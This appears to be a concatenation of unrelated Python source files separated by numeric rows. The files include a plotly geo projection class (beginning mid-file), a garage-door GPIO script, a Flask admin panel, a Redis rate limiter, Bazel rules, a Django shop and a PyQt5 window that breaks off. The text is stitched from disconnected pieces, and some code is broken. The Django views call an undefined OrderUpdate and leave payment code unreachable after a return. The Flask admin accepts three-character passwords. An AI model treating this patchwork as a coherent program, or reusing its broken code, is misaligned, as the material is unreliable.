The 'parallels' property is an info array that may be specified as:
* a list or tuple of 2 elements where:
(0) The 'parallels[0]' property is a number and may be specified as:
- An int or float
(1) The 'parallels[1]' property is a number and may be specified as:
- An int or float
Returns
-------
list
"""
return self["parallels"]
@parallels.setter
def parallels(self, val):
self["parallels"] = val
# rotation
# --------
@property
def rotation(self):
"""
The 'rotation' property is an instance of Rotation
that may be specified as:
- An instance of :class:`plotly.graph_objs.layout.geo.projection.Rotation`
- A dict of string/value properties that will be passed
to the Rotation constructor
Supported dict properties:
lat
Rotates the map along meridians (in degrees
North).
lon
Rotates the map along parallels (in degrees
East). Defaults to the center of the
`lonaxis.range` values.
roll
Roll the map (in degrees) For example, a roll
of 180 makes the map appear upside down.
Returns
-------
plotly.graph_objs.layout.geo.projection.Rotation
"""
return self["rotation"]
@rotation.setter
def rotation(self, val):
self["rotation"] = val
# scale
# -----
@property
def scale(self):
"""
Zooms in or out on the map view. A scale of 1 corresponds to
the largest zoom level that fits the map's lon and lat ranges.
The 'scale' property is a number and may be specified as:
- An int or float in the interval [0, inf]
Returns
-------
int|float
"""
return self["scale"]
@scale.setter
def scale(self, val):
self["scale"] = val
# type
# ----
@property
def type(self):
"""
Sets the projection type.
The 'type' property is an enumeration that may be specified as:
- One of the following enumeration values:
['equirectangular', 'mercator', 'orthographic', 'natural
earth', 'kavrayskiy7', 'miller', 'robinson', 'eckert4',
'azimuthal equal area', 'azimuthal equidistant', 'conic
equal area', 'conic conformal', 'conic equidistant',
'gnomonic', 'stereographic', 'mollweide', 'hammer',
'transverse mercator', 'albers usa', 'winkel tripel',
'aitoff', 'sinusoidal']
Returns
-------
Any
"""
return self["type"]
@type.setter
def type(self, val):
self["type"] = val
# Self properties description
# ---------------------------
@property
def _prop_descriptions(self):
return """\
parallels
For conic projection types only. Sets the parallels
(tangent, secant) where the cone intersects the sphere.
rotation
:class:`plotly.graph_objects.layout.geo.projection.Rota
tion` instance or dict with compatible properties
scale
Zooms in or out on the map view. A scale of 1
corresponds to the largest zoom level that fits the
map's lon and lat ranges.
type
Sets the projection type.
"""
def __init__(
self, arg=None, parallels=None, rotation=None, scale=None, type=None, **kwargs
):
"""
Construct a new Projection object
Parameters
----------
arg
dict of properties compatible with this constructor or
an instance of
:class:`plotly.graph_objs.layout.geo.Projection`
parallels
For conic projection types only. Sets the parallels
(tangent, secant) where the cone intersects the sphere.
rotation
:class:`plotly.graph_objects.layout.geo.projection.Rota
tion` instance or dict with compatible properties
scale
Zooms in or out on the map view. A scale of 1
corresponds to the largest zoom level that fits the
map's lon and lat ranges.
type
Sets the projection type.
Returns
-------
Projection
"""
super(Projection, self).__init__("projection")
if "_parent" in kwargs:
self._parent = kwargs["_parent"]
return
# Validate arg
# ------------
if arg is None:
arg = {}
elif isinstance(arg, self.__class__):
arg = arg.to_plotly_json()
elif isinstance(arg, dict):
arg = _copy.copy(arg)
else:
raise ValueError(
"""\
The first argument to the plotly.graph_objs.layout.geo.Projection
constructor must be a dict or
an instance of :class:`plotly.graph_objs.layout.geo.Projection`"""
)
# Handle skip_invalid
# -------------------
self._skip_invalid = kwargs.pop("skip_invalid", False)
# Populate data dict with properties
# ----------------------------------
_v = arg.pop("parallels", None)
_v = parallels if parallels is not None else _v
if _v is not None:
self["parallels"] = _v
_v = arg.pop("rotation", None)
_v = rotation if rotation is not None else _v
if _v is not None:
self["rotation"] = _v
_v = arg.pop("scale", None)
_v = scale if scale is not None else _v
if _v is not None:
self["scale"] = _v
_v = arg.pop("type", None)
_v = type if type is not None else _v
if _v is not None:
self["type"] = _v
# Process unknown kwargs
# ----------------------
self._process_kwargs(**dict(arg, **kwargs))
# Reset skip_invalid
# ------------------
self._skip_invalid = False
| 6,801 | 1,853 |
from btypes.big_endian import *
cstring_sjis = CString('shift-jis')
class Header(Struct):
string_count = uint16
__padding__ = Padding(2)
class Entry(Struct):
string_hash = uint16
string_offset = uint16
def unsigned_to_signed_byte(b):
return b - 0x100 if b & 0x80 else b
def calculate_hash(string):
h = 0
for b in string:
h = (h*3 + unsigned_to_signed_byte(b)) & 0xFFFF
return h
def pack(stream, strings):
strings = [string.encode('shift-jis') for string in strings]
header = Header()
header.string_count = len(strings)
Header.pack(stream, header)
offset = Header.sizeof() + Entry.sizeof()*len(strings)
for string in strings:
entry = Entry()
entry.string_hash = calculate_hash(string)
entry.string_offset = offset
Entry.pack(stream, entry)
offset += len(string) + 1
for string in strings:
stream.write(string)
stream.write(b'\0')
def unpack(stream):
base = stream.tell()
header = Header.unpack(stream)
entries = [Entry.unpack(stream) for _ in range(header.string_count)]
strings = []
for entry in entries:
stream.seek(base + entry.string_offset)
strings.append(cstring_sjis.unpack(stream))
return strings
| 1,286 | 432 |
#!/usr/bin/env python3.5
from time import sleep, time
from datetime import datetime, timedelta
from pid.decorator import pidfile
#from subprocess import call
from RPi import GPIO
import requests
import json
#import config
import logging
import signal
import sys
#13: grün
#16: braun
#19: orange
#20: grün
#21: braun
#26: orange
SENSORS = [
{
"GPIOpinIN": 26,
"GPIOpinOUT": 19,
"SENSORID": 4,
"NAME": "Garagentor"
},
{
"GPIOpinIN": 20,
"GPIOpinOUT": 13,
"SENSORID": 2,
"NAME": "Garagentür"
}
]
# deConz REST API settings
APIKEY = "" # API key for the deConz REST API
APIHOST = "" # IP address of the deConz REST API, e.g. "192.168.1.100"
APISCHEME = "http" # scheme for the deConz REST API, e.g. "http"
# program settings
POLL_INTERVALL = 7 # duration in seconds to wait between polls
logging.basicConfig(level=logging.INFO, format='%(asctime)s - %(levelname)s - %(message)s', filename='/var/log/deConzSensors.log')
class mySensor:
def ping(self):
GPIO.output(self.gpio_out, 1)
sumOfStates = 0
for i in range(10): # get 10 samples of the door state
curState = GPIO.input(self.gpio_in)
logging.debug('current state of ' + self.name + ': ' + str(curState))
sumOfStates += curState
sleep(0.1)
GPIO.output(self.gpio_out, 0)
if sumOfStates < 5:
if self.door_open == False:
logging.info(self.name + ' opened')
self.door_open = True
setRemoteSensor(True, self.sensor_id)
else:
if self.door_open == True:
logging.info(self.name + ' closed')
setRemoteSensor(False, self.sensor_id)
self.door_open = False
#delta = (datetime.now() - self.open_since).seconds # delta in seconds between now and the door open state
#logging.debug(self.name + ': delta: ' + str(delta) + ' – GPIO input ' + str(self.gpio_in))
#if self.door_open and (delta > (2 * POLL_INTERVALL)): # only set remote sensor when we have 2 consecutive misses
# logging.warning(self.name + ' open')
# setRemoteSensor(True, self.sensor_id)
#self.door_open = True
#def updateLocalSettings(self, channel):
# logging.debug(self.name + ': Callback fired for GPIO input ' + str(channel))
# self.door_open = False
# self.open_since = datetime.now()
def __init__(self, sensor_config):
self.door_open = True
self.open_since = datetime.now()
self.gpio_in = sensor_config["GPIOpinIN"]
self.gpio_out = sensor_config["GPIOpinOUT"]
self.sensor_id = sensor_config["SENSORID"]
self.name = sensor_config["NAME"]
GPIO.setup(sensor_config["GPIOpinIN"], GPIO.IN, pull_up_down=GPIO.PUD_DOWN)
GPIO.setup(sensor_config["GPIOpinOUT"], GPIO.OUT, initial=GPIO.LOW)
#GPIO.add_event_detect(sensor_config["GPIOpinIN"], GPIO.RISING, callback=self.updateLocalSettings, bouncetime=250)
def terminate(signum, frame):
logging.info("******************** Terminating ******************** ")
logging.debug('Signal handler called with signal ' + str(signum))
GPIO.cleanup()
logging.info("************************ Exit *********************** ")
sys.exit(0)
def init():
logging.info("******************** Starting up ******************** ")
signal.signal(signal.SIGINT, terminate)
signal.signal(signal.SIGTERM, terminate)
GPIO.setmode(GPIO.BCM)
mySensors = []
for sensor in SENSORS:
logging.info("adding sensor '" + sensor["NAME"] + "' at GPIO pin " + str(sensor["GPIOpinIN"]))
mySensors.append(mySensor(sensor))
logging.info("***************************************************** ")
return mySensors
def setRemoteSensor(open, sensor_id):
url = APISCHEME + "://" + APIHOST + "/api/" + APIKEY + "/sensors/" + str(sensor_id) + "/state"
payload = {'open': str(open).lower()}
r = requests.put(url, data=json.dumps(payload))
r.raise_for_status()
logging.debug('setting remote sensor ' + str(sensor_id) + ' to ' + str(open))
# creating a PID file to prevent double execution of this script
@pidfile()
def main():
sensors=init() # initialize everything
while True: # idle loop
for sensor in sensors:
sensor.ping()
sleep(POLL_INTERVALL / len(sensors)) # sleep for the duration given as POLL_INTERVALL
if __name__ == '__main__':
main()
| 4,549 | 1,549 |
from flask import Blueprint, request, render_template, flash, redirect, url_for
from flask_login import login_user, login_required, current_user, logout_user
from models import User
from werkzeug.security import generate_password_hash, check_password_hash
from app import db, login_manager
admin = Blueprint('admin', __name__)
@admin.route('/admin', methods=['POST', 'GET'])
@login_required
def admin_panel():
if current_user.is_authenticated:
user = User.query.get(int(current_user.get_id()))
if not user.admin:
return redirect(url_for('index'))
users = User.query.order_by(User.id).all()
if request.method == 'POST':
if 'edit_user' in request.form:
old_username = request.form['edit_user']
user = db.session.query(User).filter_by(username=old_username).with_for_update().first()
username = request.form['username']
password = request.form['password']
if len(username) > 0:
user.username = username
if len(password) > 0:
if len(password) >= 3:
user.password = generate_password_hash(password, method='sha256')
else:
flash('Password must be minimum 3 characters long')
if 'grant_admin' in request.form:
user.admin = True
if 'remove_admin' in request.form:
user.admin = False
if 'delete' in request.form:
old_username = request.form['delete']
User.query.filter_by(username=old_username).with_for_update().delete()
db.session.commit()
return redirect(url_for('admin.admin_panel'))
return render_template('admin_panel.html', users=users)
| 1,757 | 484 |
import datetime
import types
from nose.tools import eq_
from nose.tools import ok_
from inferno.lib.map import keyset_map
from inferno.lib.rule import InfernoRule
class TestKeysetMap(object):
def setUp(self):
self.data = {
'city': 'toronto',
'country': 'canada',
'population': 100,
'size': 1000,
'date': datetime.date(2012, 12, 01)}
self.rule = InfernoRule(
key_parts=['country', 'city'],
value_parts=['population', 'size'])
def test_keys_and_parts(self):
expected = [('["_default","canada","toronto"]', [100, 1000])]
self._assert_map(self.data, self.rule, expected)
def test_missing_key_part_should_not_yield_result(self):
del self.data['city']
expected = []
self._assert_map(self.data, self.rule, expected)
def test_missing_value_part_should_yield_result(self):
del self.data['size']
expected = [('["_default","canada","toronto"]', [100, 0])]
self._assert_map(self.data, self.rule, expected)
def test_null_key_part_should_not_yield_result(self):
self.data['city'] = None
expected = []
self._assert_map(self.data, self.rule, expected)
def test_null_value_part_should_yield_result(self):
self.data['size'] = None
expected = [('["_default","canada","toronto"]', [100, None])]
self._assert_map(self.data, self.rule, expected)
def test_empty_key_part_should_yield_result(self):
self.data['city'] = ''
expected = [('["_default","canada",""]', [100, 1000])]
self._assert_map(self.data, self.rule, expected)
def test_empty_value_part_should_yield_result(self):
self.data['size'] = ''
expected = [('["_default","canada","toronto"]', [100, ''])]
self._assert_map(self.data, self.rule, expected)
def test_map_serialization(self):
# key parts are str casted & json serialized, value parts are are not
# (note the difference between the key date and value date results)
rule = InfernoRule(
key_parts=['date'],
value_parts=['date'])
expected = [('["_default","2012-12-01"]', [datetime.date(2012, 12, 1)])]
self._assert_map(self.data, rule, expected)
def test_field_transforms(self):
def upper(val):
return val.upper()
rule = InfernoRule(
key_parts=['country', 'city'],
value_parts=['population', 'size'],
field_transforms={'city': upper, 'country': upper})
expected = [('["_default","CANADA","TORONTO"]', [100, 1000])]
self._assert_map(self.data, rule, expected)
def test_parts_preprocess_that_yields_multiple_parts(self):
def lookup_language(parts, params):
for language in ['french', 'english']:
parts_copy = parts.copy()
parts_copy['language'] = language
yield parts_copy
rule = InfernoRule(
key_parts=['country'],
value_parts=['language'],
parts_preprocess=[lookup_language])
expected = [
('["_default","canada"]', ['french']),
('["_default","canada"]', ['english'])]
self._assert_map(self.data, rule, expected)
def test_field_transforms_happen_after_parts_preprocess(self):
def lookup_language(parts, params):
for language in ['french', 'english']:
parts_copy = parts.copy()
parts_copy['language'] = language
yield parts_copy
def upper(val):
return val.upper()
rule = InfernoRule(
key_parts=['country'],
value_parts=['language'],
parts_preprocess=[lookup_language],
field_transforms={'language': upper})
expected = [
('["_default","canada"]', ['FRENCH']),
('["_default","canada"]', ['ENGLISH'])]
self._assert_map(self.data, rule, expected)
def _assert_map(self, parts, rule, expected):
# turn disco_debug on for more code coverage
rule.params.disco_debug = True
actual = keyset_map(parts, rule.params)
ok_(isinstance(actual, types.GeneratorType))
eq_(list(actual), expected)
| 4,321 | 1,348 |
# Copyright 2016 The Bazel Authors. All rights reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
_pub_uri = "https://storage.googleapis.com/pub.dartlang.org/packages"
"""A set of BUILD rules that facilitate using or building on "pub"."""
def _pub_repository_impl(repository_ctx):
package = repository_ctx.attr.package
version = repository_ctx.attr.version
repository_ctx.download_and_extract(
"%s/%s-%s.tar.gz" % (_pub_uri, package, version),
repository_ctx.attr.output,
)
pub_deps = repository_ctx.attr.pub_deps
bazel_deps = ["\"@vendor_%s//:%s\"" % (dep, dep) for dep in pub_deps]
deps = ",\n".join(bazel_deps)
repository_ctx.file(
"%s/BUILD" % (repository_ctx.attr.output),
"""
load("@io_bazel_rules_dart//dart/build_rules:core.bzl", "dart_library")
package(default_visibility = ["//visibility:public"])
filegroup(name = "LICENSE_FILES", srcs=["LICENSE"])
dart_library(
name = "%s",
srcs = glob(["lib/**"]),
license_files = ["LICENSE"],
pub_pkg_name = "%s",
deps = [
%s
],
)
""" % (package, package, deps),
)
pub_repository = repository_rule(
attrs = {
"output": attr.string(),
"package": attr.string(mandatory = True),
"version": attr.string(mandatory = True),
"pub_deps": attr.string_list(default = []),
},
implementation = _pub_repository_impl,
)
| 1,882 | 640 |
import copy
import os
class Project(object):
def __init__(self, folder, *jobtypes):
self.jobtypes = jobtypes
self.folder = folder
self.params = []
self.version = 1
def is_v2(self):
self.version = 2
return copy.deepcopy(self)
def is_v1(self):
self.version = 1
return copy.deepcopy(self)
def with_params(self, *paramtypes):
self.params = paramtypes
return copy.deepcopy(self)
def write(self):
for param in self.params:
param._add_items()
param._write(self.folder)
for jobtype in self.jobtypes:
jobtype._add_items()
jobtype._write(self.folder)
if self.version == 2:
project_path = os.path.join(self.folder, 'flow20.project')
with open(project_path, 'w') as project:
project.write('azkaban-flow-version: 2.0')
| 928 | 287 |
'''
Purpose: Server responsible for routing
Author: Md. Tanvir Islam
Command to execute: python app.py
'''
from flask import Flask
from flask import render_template
from flask import json
from flask import request
import random
import sys
app = Flask(__name__)
print("Server is live...", file = sys.stderr)
users = []
@app.route("/")
def index():
return render_template("index.html"), 200
@app.route("/generate", methods = ["POST"])
def generate():
this_user = {} # init user
send_data = {} # data to be sent
post_obj = request.json
rc = dimension(post_obj)
send_data["x"] = rc["x"]
send_data["y"] = rc["y"]
send_data["speed"] = 20
this_user["name"] = post_obj["name"] # sets the user's name
this_user["speed"] = send_data["speed"] # sets the user's speed
this_user["size"] = 0
users.append(this_user) # append it to the list of users
return json.dumps(send_data), 200
# sends the x and y coordinates to the client
@app.route("/regenerate", methods = ["POST"])
def regenerate():
send_data = {}
post_obj = request.json
rc = dimension(post_obj)
send_data["x"] = rc["x"]
send_data["y"] = rc["y"]
return json.dumps(send_data), 200
# sends the size of the snake to the server
@app.route("/size", methods = ["POST"])
def size():
temp = {}
obj_obj = request.json
for i in range(len(users)):
if obj_obj["name"] == users[i]["name"]:
temp = users[i]
users[users.index(temp)]["size"] += 1
send_data = {}
send_data["size"] = users[users.index(temp)]["size"]
return json.dumps(send_data), 200
'''
Function: dimensions
Purpose: generates a random x and y coordinate within a limit to send it the client
in: obj
'''
def dimension(obj):
rc = {}
width_min = int(obj["width_min"])
width_max = int(obj["width_max"])
height_min = int(obj["height_min"])
height_max = int(obj["height_max"])
x = random_number(width_min, width_max)
y = random_number(height_min, height_max)
rc["x"] = x
rc["y"] = y
return rc
'''
Function: random_number
Purpose: generates a random number between a particular range
in: min, max
'''
def random_number(min, max):
return random.randint(min, max)
if __name__ == "__main__":
app.run(host = "localhost", port = 2406, debug = True) | 2,337 | 926 |
from .base import Base
from .admin import Admin
from .dashboard import Dashboard
from .datasource import Datasource
from .folder import Folder
from .organisation import Organisation, Organisations
from .search import Search
from .user import User, Users
| 254 | 62 |
from shop.forms import UserForm
from django.views import generic
from django.urls import reverse_lazy
from django.shortcuts import render, redirect, get_object_or_404
from django.contrib.auth import authenticate, login, logout
from django.contrib.auth.models import auth
from .models import Product, Contact, Category, Product, Order, OrderItem
from django.contrib import messages
from django.views.decorators.csrf import ensure_csrf_cookie
from math import ceil
import json
from shop.models import User
from django.views.decorators.csrf import csrf_exempt
# from PayTm import checksum
# Create your views here.
from django.http import HttpResponse
from django.core.paginator import Paginator, EmptyPage, PageNotAnInteger
MERCHANT_KEY = 'Your-Merchant-Key-Here'
def index(request, category_slug=None):
category = None
categories = Category.objects.all()
products = Product.objects.filter(available=True)
if category_slug:
category = get_object_or_404(Category, slug=category_slug)
products = products.filter(category=category)
page = request.GET.get('page')
paginator = Paginator(products, 6)
try:
products = paginator.page(page)
except PageNotAnInteger:
products = paginator.page(1)
except EmptyPage:
products = paginator.page(1)
if request.user:
print(request.user)
pass
# wishlist = Wishlist.objects.filter(user=request.user)
return render(
request,
'shop/index.html',
{
'category': category,
'categories': categories,
'products': products,
# 'wishlist': wishlist
}
)
else:
return render(
request,
'shop/index.html',
{
'category': category,
'categories': categories,
'products': products,
}
)
def searchMatch(query, item):
'''return true only if query matches the item'''
if query in item.description.lower() or query in item.name.lower():
return True
else:
return False
def search(request):
query = request.GET.get('search')
allProds = []
catprods = Product.objects.values('category', 'id')
cats = {item['category'] for item in catprods}
for cat in cats:
prodtemp = Product.objects.filter(category=cat)
prod = [item for item in prodtemp if searchMatch(query, item)]
n = len(prod)
nSlides = n // 4 + ceil((n / 4) - (n // 4))
if len(prod) != 0:
allProds.append([prod, range(1, nSlides), nSlides])
params = {
'products': allProds,
"msg": ""
}
if len(allProds) == 0 or len(query) < 4:
params = {
'msg': "Please make sure to enter relevant search query"
}
return render(request, 'shop/search.html', params)
def about(request):
return render(request, 'shop/about.html')
def contact(request):
thank = False
if request.method == "POST":
name = request.POST.get('name', '')
email = request.POST.get('email', '')
phone = request.POST.get('phone', '')
desc = request.POST.get('desc', '')
contact = Contact(name=name, email=email, phone=phone, desc=desc)
contact.save()
thank = True
return render(request, 'shop/contact.html', {'thank': thank})
def tracker(request):
if request.method == "POST":
orderId = request.POST.get('orderId', '')
email = request.POST.get('email', '')
try:
order = Order.objects.filter(order_id=orderId, email=email)
if len(order) > 0:
update = OrderUpdate.objects.filter(order_id=orderId)
updates = []
for item in update:
updates.append(
{
'text': item.update_desc,
'time': item.timestamp
}
)
response = json.dumps(
{
"status": "success",
"updates": updates,
"itemsJson": order[0].items_json
},
default=str
)
return HttpResponse(response)
else:
return HttpResponse('{"status":"noitem"}')
except Exception as e:
return HttpResponse('{"status":"error"}')
return render(request, 'shop/tracker.html')
def productView(request, myid):
# Fetch the product using the id
product = Product.objects.filter(id=myid)
return render(request, 'shop/prodView.html', {'product': product[0]})
def checkout(request):
if request.method == "POST":
items_json = request.POST.get('itemsJson', '')
name = request.POST.get('name', '')
amount = request.POST.get('amount', '')
email = request.POST.get('email', '')
address = request.POST.get('address1', '') + \
" " + request.POST.get('address2', '')
city = request.POST.get('city', '')
state = request.POST.get('state', '')
zip_code = request.POST.get('zip_code', '')
phone = request.POST.get('phone', '')
order = Order(
name=name, email=email,
address=address,
state=state,
# zip_code=zip_code,
# phone=phone,
# amount=amount
)
order.save()
order_item = OrderItem(
order=order,
price=amount,
product_id=1,
)
order_item.save()
thank = True
# id = order.order_id
return render(request, 'shop/checkout.html', {'thank':thank, 'id': order.id})
# Request paytm to transfer the amount to your account after payment by user
param_dict = {
'MID': 'Your-Merchant-Id-Here',
'ORDER_ID': str(order.order_id),
'TXN_AMOUNT': str(amount),
'CUST_ID': email,
'INDUSTRY_TYPE_ID': 'Retail',
'WEBSITE': 'WEBSTAGING',
'CHANNEL_ID': 'WEB',
'CALLBACK_URL': 'http://127.0.0.1:8000/handlerequest/',
}
# param_dict['CHECKSUMHASH'] = checksum.generate_checksum(param_dict, MERCHANT_KEY)
# return render(request, '/paytm.html', {'param_dict': param_dict})
return render(request, 'shop/checkout.html')
def signup(request):
if request.method == 'POST':
print('psot')
form = UserForm(request.POST)
if form.is_valid():
user = form.save(commit=False)
# commit=False tells Django that "Don't send this to database yet.
# I have more things I want to do with it."
# import pdb;pdb.set_trace()
if form.cleaned_data['type']=='Vendor':
user.is_staff = True # Set the user object here
user.save()
return redirect("/admin/login")
else:
user.is_staff = False
user.save()
return redirect("/login") # Now you can send it to DB
else:
print('in valid vin vlaidpsot')
form = UserForm()
print(form.errors)
return render(
request,
'shop/signup.html',{
'form':form,
'errors':form.errors
})
else:
print('hello jasfdjlasdjfs')
form = UserForm()
return render(
request,
'shop/signup.html',{
'form':form
})
@csrf_exempt
def handlerequest(request):
# paytm will send you post request here
form = request.POST
response_dict = {}
for i in form.keys():
response_dict[i] = form[i]
if i == 'CHECKSUMHASH':
checksum = form[i]
# verify = Checksum.verify_checksum(response_dict, MERCHANT_KEY, checksum)
# if verify:
# if response_dict['RESPCODE'] == '01':
# print('order successful')
# else:
# print('order was not successful because' + response_dict['RESPMSG'])
return render(request, 'shop/paymentstatus.html', {'response': response_dict})
def vendor(request):
user =User.objects.get(id=request.user.id)
menu = {}
return render(request, 'shop/restprofile.html', {'user':user})
from django.views.generic.edit import UpdateView
class UserUpdate(UpdateView):
model = User
fields = ['name','email','first_name','last_name']
template_name_suffix = '_update_form' | 9,176 | 2,719 |
import FWCore.ParameterSet.Config as cms
from SimMuon.GEMDigitizer.muonGEMDigis_cfi import *
from SimMuon.GEMDigitizer.muonGEMPadDigis_cfi import *
from SimMuon.GEMDigitizer.muonGEMPadDigiClusters_cfi import *
muonGEMDigiTask = cms.Task(simMuonGEMDigis, simMuonGEMPadDigis, simMuonGEMPadDigiClusters)
muonGEMDigi = cms.Sequence(muonGEMDigiTask)
| 347 | 157 |
# -*- coding: utf-8 -*-
"""
Tencent is pleased to support the open source community by making 蓝鲸智云PaaS平台社区版 (BlueKing PaaS Community Edition) available.
Copyright (C) 2017-2018 THL A29 Limited, a Tencent company. All rights reserved.
Licensed under the MIT License (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at
http://opensource.org/licenses/MIT
Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License.
""" # noqa
"""A distributed rate limiter rely on redis
based on `token bucket <https://en.wikipedia.org/wiki/Token_bucket>` algorithm
Usage
~~~~~
.. code-block:: python
# Init a redis connection pool
import redis
redisdb = redis.Redis()
rate = RateLimiter(redisdb, identifier='ip=127.0.0.1 path=/get_user_info/')
# Allow 10 requests every 1 minute
# period also accepts seconds/minutes/hours/days as key
rate.add_rule(tokens=10, period={'minute': 1})
# You could add multiple rules for on limiter
# rate.add_rule(tokens=200, period={'hour': 1})
print rate.acquire()
# returns {'allowed': True, 'remaining_tokens': 9.0}
"""
import time
import logging
from redis import WatchError
logger = logging.getLogger('root')
class BaseRateLimiter(object):
def __init__(self, redisdb, identifier, namespace='', tokens=None, period=None):
"""Init a RateLimiter class
:param redisdb: a `redis.Redis` instance
:param str identifier: identifier for the limiter, such as an user_id etc.
:param str namespace: namespace for redis keys
:param int tokens: maxium tokens for one time period
:param dict period: dict, time period, such as {'minutes': 10}
"""
self.redisdb = redisdb
self.identifier = identifier
self.namespace = namespace
self.rules = []
# Add rule
if tokens is not None and period:
self.add_rule(tokens, period)
self.prepare()
def prepare(self):
"""Prepare to work
"""
pass
def add_rule(self, tokens, period):
"""Add multiple rules for this limiter, see `__init__` for parameter details
"""
rule = Rule(tokens, Rule.period_to_seonds(period))
self.rules.append(rule)
def acquire(self, tokens=1):
"""Acquire for a single request
:param int tokens: tokens to consume for this request, default to 1
"""
if not self.rules:
return {'allowed': True, 'remaining_tokens': 0}
logger.debug('Start acquiring tokens by given rules, this operation may have several '
'communications with redis.')
rets = []
for rule in self.rules:
logger.debug('Acquiring by single rule, rule=%s tokens=%s', rule, tokens)
ret = self.acquire_by_single_rule(rule, tokens)
logger.debug('Acquiring finished, result=%s', ret)
if not ret['allowed']:
logger.debug('Acquiring denied by given rule, rule=%s.', rule)
return ret
rets.append(ret)
logger.debug('Acquiring successed.')
return {
'allowed': True,
'remaining_tokens': min(x['remaining_tokens'] for x in rets)
}
class RateLimiter(BaseRateLimiter):
"""Rate limiter class
"""
def acquire_by_single_rule(self, rule, tokens=1):
"""Acquire an request quota from limiter
:param rule: `Rule` object
:param int tokens: tokens to be consumed, default 1
:returns: a dict of `allowed` and `remaining_tokens`
- allowed: wheather this request is allowed
- remaining_tokens: remaining_tokens for this rule's period
"""
rk_tokens = 'rlim::%s::tokens::%s::r%s' % (self.namespace, self.identifier, rule.to_string())
rk_last_ts = 'rlim::%s::last_ts::%s::r%s' % (self.namespace, self.identifier, rule.to_string())
rule_ttl_seconds = rule.period_seconds + 10
try:
rv_last_ts = float(self.redisdb.get(rk_last_ts))
rv_tokens = float(self.redisdb.get(rk_tokens))
except Exception:
# Inintilize values if not exists
rv_last_ts = time.time()
rv_tokens = rule.tokens
self.redisdb.set(rk_tokens, rv_tokens, ex=rule_ttl_seconds)
self.redisdb.set(rk_last_ts, '%.3f' % rv_last_ts, ex=rule_ttl_seconds)
# Add fresh tokens since last timestamp
with self.redisdb.pipeline() as pipe:
pipe.watch(rk_last_ts)
# Float precision may cause this value negative
# Add token by passed time
senconds_passed = max(time.time() - rv_last_ts, 0)
fresh_tokens = rule.fresh_tokens_by_seconds(senconds_passed)
remaining_tokens = rv_tokens
# Only add fresh token when it's greater than 1
# Passed time maybe less than 1, fresh_token more than 1
if fresh_tokens >= 1 and remaining_tokens < rule.tokens:
# Never add let tokens more than rule.tokens
fresh_tokens = min(fresh_tokens, rule.tokens - remaining_tokens)
pipe.multi()
pipe.incrbyfloat(rk_tokens, fresh_tokens)
pipe.expire(rk_tokens, rule_ttl_seconds)
pipe.set(rk_last_ts, '%.3f' % time.time(), ex=rule_ttl_seconds)
# Ignore WatchError
try:
pipe.execute()
except WatchError:
pass
# Remove tokens, if tokens to consume are bigger than remaining tokens, do nothing
# and return Flase
remaining_tokens = self.redisdb.incrbyfloat(rk_tokens, -tokens)
over_limit = False
if remaining_tokens < 0:
remaining_tokens = self.redisdb.incrbyfloat(rk_tokens, tokens)
over_limit = True
return {
'allowed': not over_limit,
'remaining_tokens': max(remaining_tokens, 0)
}
class SimpleLimiter(BaseRateLimiter):
def prepare(self):
self.simple_incr = self.redisdb.register_script('''\
local current
current = redis.call("incr", KEYS[1])
if tonumber(current) == 1 then
redis.call("expire", KEYS[1], ARGV[1])
end
return current''')
def acquire_by_single_rule(self, rule, tokens=1):
"""Acquire an request quota from limiter
:param rule: `Rule` object
:param int tokens: tokens to be consumed, default 1
:returns: a dict of `allowed` and `remaining_tokens`
- allowed: wheather this request is allowed
- remaining_tokens: remaining_tokens for this rule's period
"""
# TODO: Should we use ( current timestamp / period_seconds ) as part of the redis key?
rk_counter = 'rlim::%s::scounter::%s::r%s' % (self.namespace, self.identifier, rule.to_string())
old_cnt = self.redisdb.get(rk_counter)
if old_cnt is not None and int(old_cnt) >= rule.tokens:
return {
'allowed': False,
'remaining_tokens': 0.0
}
new_cnt = self.simple_incr(keys=[rk_counter], args=[rule.period_seconds])
return {
'allowed': True,
'remaining_tokens': max(0, rule.tokens - new_cnt)
}
class Rule(object):
"""Rule class for RateLimiter"""
time_unit_to_seconds = {
'second': 1,
'minute': 60,
'hour': 3600,
'day': 3600 * 24,
}
@classmethod
def period_to_seonds(cls, period):
for unit, seconds in cls.time_unit_to_seconds.items():
if unit in period:
period_seconds = period[unit] * seconds
break
else:
raise ValueError(('Invalid period %s given, should be '
'{"second/minute/hour/day": NUMBER}') % period)
return period_seconds
def __init__(self, tokens, period_seconds):
self.tokens = tokens
# Precision of seconds only to second
self.period_seconds = int(period_seconds)
if tokens < 0:
logger.warn('Will not allow any acquire because given tokens < 0')
def to_string(self):
return "%s_%s" % (self.tokens, self.period_seconds)
def fresh_tokens_by_seconds(self, seconds):
return int(self.rate_per_seconds * seconds)
@property
def rate_per_seconds(self):
return self.tokens / float(self.period_seconds)
def __repr__(self):
return '<Rule %s>' % self.to_string()
| 8,843 | 2,691 |
import sys
from PyQt5 import QtCore, QtGui, QtWidgets, uic
import database_receita
import pyqt5_aux
qt_tela_inicial = "telas/tela_cadastro_loja_embala.ui"
Ui_MainWindow, QtBaseClass = uic.loadUiType(qt_tela_inicial)
class MainWindow(QtWidgets.QMainWindow, Ui_MainWindow):
switch_tela_gerenciar_loja_embala = QtCore.pyqtSignal(int, int, float, str, str, int, str, float, str)
def __init__(self):
QtWidgets.QMainWindow.__init__(self)
Ui_MainWindow.__init__(self)
self.setupUi(self)
#CONFIG BOTOES
self.btn_cadastrar.pressed.connect(self.cadastrar_loja_embala)
self.btn_limpar.pressed.connect(self.limpar_loja_embala)
self.btn_ativa_loja.pressed.connect(self.ativar_loja)
self.btn_sair.pressed.connect(self.fechar_tela)
#CARREGAR COMBO INGREDIENTES
self.carrega_ingredientes()
#QUANDO UM INGREDIENTE FOR SELECIONADO NA COMBO
self.combo_ingrediente.currentIndexChanged.connect(self.ingrediente_selecionado)
#QUANDO UMA EMBALAGEM FOR DOUBLE-CLICADA
